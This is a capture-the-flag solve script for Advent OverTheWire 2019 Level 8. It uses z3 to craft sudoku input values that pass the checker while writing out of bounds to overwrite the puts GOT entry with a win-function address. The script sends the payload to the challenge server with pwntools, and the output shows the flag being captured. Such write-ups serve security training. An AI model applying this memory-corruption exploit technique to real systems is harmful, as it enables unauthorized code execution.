Advent OverTheWire 2019 - Level 8

#!/usr/bin/solve

from z3 import *
from pwn import *

HOST = '3.93.128.89'
PORT = 1218

def attempt(values):

    #r = process('./chal')
    r = remote(HOST, PORT)

    solution_idx = [
        [3, 6, 7, 5, 8, 4, 1, 2, 9],
        [2, 4, 1, 7, 3, 9, 5, 6, 8],
        [9, 8, 5, 2, 6, 1, 4, 3, 7],
        [6, 5, 2, 3, 9, 7, 8, 4, 1],
        [7, 1, 3, 8, 4, 2, 6, 9, 5],
        [4, 9, 8, 6, 1, 5, 2, 7, 3],
        [1, 7, 9, 4, 2, 8, 3, 5, 6],
        [8, 2, 6, 9, 5, 3, 7, 1, 4],
        [5, 3, 4, 1, 7, 6, 9, 8, 2],
    ]

    #pause()

    for row in range(9):
        r.sendline(' '.join(str(values[idx-1]) for idx in solution_idx[row]).encode('ascii'))

    response = r.recvall()
    r.close()
    if b'AOTW{' in response:
        print(response)
        return True
    return False


NUM_CELLS = 9
cells = [BitVec('c_%d' % i, 32) for i in range(9)]

ADDR_WIN = 0x08048799
ADDR_PUTS = 0x0804A010
ADDR_SCORER = 0x0804A1C0
OFFSET_PUTS = (ADDR_PUTS - ADDR_SCORER) // 4

print(ADDR_WIN)
print(OFFSET_PUTS+2**32)
#print((ADDR_PUTS - ADDR_SCORER))

s = Solver()

#for c in cells:
#    s.add(c >= 0)

s.add(sum(cells) == 45)
s.add(Product(cells) == 362880)

#s.add(cells[])

"""
s.add(And(
    Or(*[x == BitVecVal(ADDR_WIN, 32) for x in cells]),
    Or(*[x == BitVecVal(OFFSET_PUTS+2**32, 32) for x in cells]),
    Or(*[x <= BitVecVal(9, 32) for x in cells])
))
"""

#s.add(cells[0]//4 <= 9)
s.add(cells[0] == OFFSET_PUTS+2**32)
s.add(cells[1] == ADDR_WIN)
s.add(cells[2] == 1)
s.add(cells[3] == 2)
s.add(cells[4] == 3)

print(s)

#for i in range(1, len(cells)):
#    s.add(cells[i-1] <= cells[i])

while s.check() == sat:
    m = s.model()
    row = [m[c].as_long() for c in cells]
    print(row)
    s.add(Not(And(*[x==y for x,y in zip(row, cells)])))

    if attempt(row):
        print(row)
        break

"""
python3 solve_z3.py
134514585
4294967188
[0 + c_0 + c_1 + c_2 + c_3 + c_4 + c_5 + c_6 + c_7 + c_8 ==
 45,
 1*c_0*c_1*c_2*c_3*c_4*c_5*c_6*c_7*c_8 == 362880,
 c_0 == 4294967188,
 c_1 == 134514585,
 c_2 == 1,
 c_3 == 2,
 c_4 == 3]
[4294967188, 134514585, 1, 2, 3, 3911297825, 108947494, 113742248, 26465291]
[+] Opening connection to 3.93.128.89 on port 1218: Done
[+] Receiving all data: Done (162B)
[*] Closed connection to 3.93.128.89 port 1218
b'Could you give me a fully solved sudoku?\nEnter 9 lines, each containing 9 integers, space separated:\nLet me take a look...\nAOTW{Th3t_is_such_aN_1mpr3ssive_Sud0ku}'
[4294967188, 134514585, 1, 2, 3, 3911297825, 108947494, 113742248, 26465291]